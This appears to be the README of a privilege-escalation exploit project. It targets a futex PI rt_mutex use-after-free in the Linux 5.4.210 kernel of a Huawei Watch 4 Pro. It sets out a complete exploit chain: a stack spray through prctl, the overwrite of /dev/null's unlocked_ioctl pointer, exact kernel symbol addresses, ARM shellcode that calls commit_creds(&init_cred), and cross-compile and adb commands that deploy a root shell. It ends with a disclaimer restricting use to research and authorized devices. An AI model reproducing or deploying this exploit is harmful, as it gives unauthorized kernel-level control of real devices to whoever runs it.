
CVE-2026-43499 (GhostLock) — Linux kernel futex PI rt_mutex UAF ARM32 privilege escalation research targeting Huawei Watch 4 Pro (kernel 5.4.210)
Linux kernel futex PI rt_mutex Use-After-Free vulnerability research and exploit development targeting Huawei Watch 4 Pro (MDS-AL00), Snapdragon SW5100, armv7l, kernel 5.4.210.
remove_waiter() in kernel/locking/rt_mutex.c incorrectly uses current
instead of waiter->task during proxy-lock rollback, failing to clear
pi_blocked_on on the waiter task. This leaves a dangling pointer from
task_struct to a stack-allocated rt_mutex_waiter after the waiter's kernel
stack frame is freed — a classic stack Use-After-Free.
futex(FUTEX_CMP_REQUEUE_PI)
across three threads; waiter's pi_blocked_on points to freed stack.prctl(PR_SET_NAME) (option 15, unprivileged)
to copy 15 bytes of controlled data onto the kernel stack, overwriting the
fake waiter's task/lock/prio fields.sched_setattr() triggers PI chain walk; the fake
waiter is enqueued into a forged rt_mutex overlapping a kernel
file_operations struct. Red-black tree insertion writes the waiter's
kernel stack address into fops->unlocked_ioctl.ioctl(),
which dispatches through the overwritten unlocked_ioctl pointer into the
shellcode on the executable kernel stack.commit_creds(waiter) where the
waiter's first fields (set by rb_insert_color) form a fake struct cred
with uid/gid = 0.fops->unlocked_ioctl with waiter stack address)ioctl(null_fd, IOCTL_CMD, 0) into shellcode -> commit_creds(&init_cred) -> root shell)| Property | Value |
|---|---|
| Device | Huawei Watch 4 Pro (MDS-AL00) |
| SoC | Snapdragon SW5100 (Cortex-A7, armv7l) |
| Kernel | 5.4.210 (32-bit ARM) |
| KASLR | disabled |
| PAN/SMAP | not present |
| PXN | absent on 0xc1b00000+ (stack/BSS executable) |
| CFI/PAC | not present |
kernel base 0xC0008000
syscall table 0xc0101264
do_vfs_ioctl 0xc031c0ec (fops->unlocked_ioctl call at 0xc031c8a0)
commit_creds 0xc014c898 (true commit_creds entry)
override_creds 0xc014cac8 (leaf helper immediately following commit_creds)
rt_mutex_enqueue 0xc019c660
rb_insert_color 0xc104a918
init_task 0xc1b11640
init_cred 0xc1b17e60
null_fops (/dev/null) 0xc141f5b0
FAKE_LOCK 0xc141f5d4 (null_fops + 0x24)
write target 0xc141f5d8 (null_fops + 0x28 = unlocked_ioctl)
IOCTL_CMD 0x01B17E60 (INIT_CRED + 0x40000000)
.
├── README.md # Project documentation
├── boot.img # Target device boot image (32 MB)
├── exploit/
│ ├── ghostlock_arm32.c # Main ARM32 exploit source
│ ├── ghostlock_arm32.h # Exploit definitions header
│ ├── ghostlock_arm32 # Compiled static ARM binary
│ ├── ghostlock_poc1.c # Initial crash POC
│ ├── nebula_poc.c # Nebula team reference POC
│ └── variants/ # Research exploit variants & performance tests
│ ├── ghostlock_v11_kgsl_preadv2.c
│ ├── ghostlock_v6a_kgsl_getdents64.c
│ ├── ghostlock_v7_clock_adjtime.c
│ └── ...
├── kernel/
│ ├── kernel_raw.bin # Uncompressed kernel binary (28 MB)
│ └── kallsyms_parsed.txt # Extracted kernel symbol table
├── analysis/ # Capstone/Keystone-based reverse engineering
│ ├── *.py # Disassembly and verification scripts
│ └── *.txt # Extracted tables and scan logs
├── references/
│ ├── ghostlock/ # Earlier exploit iterations & research notes
│ ├── ref_tc3650/ # TC3650 ARM32 reference materials
│ └── ref_oneplus_aarch64/ # OnePlus / Oppo AArch64 GhostLock references
└── tools/
└── fetch_missing.sh # Zig-based musl toolchain compilation script
Using cross-compilation GCC or Zig:
# Option A: GCC cross compiler
arm-linux-gnueabihf-gcc -static -O2 -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread
# Option B: Zig compiler
zig cc -target arm-linux-musleabi -O2 -static -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread
adb push exploit/ghostlock_arm32 /data/local/tmp/
adb shell chmod +x /data/local/tmp/ghostlock_arm32
adb shell /data/local/tmp/ghostlock_arm32
Position-independent ARM shellcode stamped at waiter+0x18:
sub r0, r1, #0x40000000 @ r0 = ioctl cmd - 0x40000000 = &init_cred
ldr pc, [pc, #-4] @ jump to commit_creds
.word 0xc014c898 @ true commit_creds entry
ioctl(null_fd, cmd, arg) dispatches f_op->unlocked_ioctl(filp, cmd, arg), register r1 contains the cmd argument.cmd = 0x01B17E60, sub r0, r1, #0x40000000 (encoding 0xe2410101, zero null bytes) computes r0 = 0xc1b17e60 (&init_cred).commit_creds(&init_cred) installs root credentials with full capabilities and clean SELinux security context, returning cleanly to do_vfs_ioctl (lr = 0xc031c8c0).This vendor kernel's struct file_operations has an extra 4-byte field at
offset +0x24 (between poll and unlocked_ioctl), shifting all subsequent
members by 4 bytes relative to standard Linux 5.4:
+0x04 llseek +0x20 poll
+0x08 read +0x24 <vendor extra>
+0x0c write +0x28 unlocked_ioctl
+0x10 read_iter +0x2c compat_ioctl
+0x14 write_iter +0x30 mmap
+0x18 iterate +0x38 open
+0x1c iterate_shared +0x40 release
This was verified by disassembling ashmem and null fops handlers.
This repository is for security research and education only. Do not use these techniques on devices you do not own or lack authorization to test.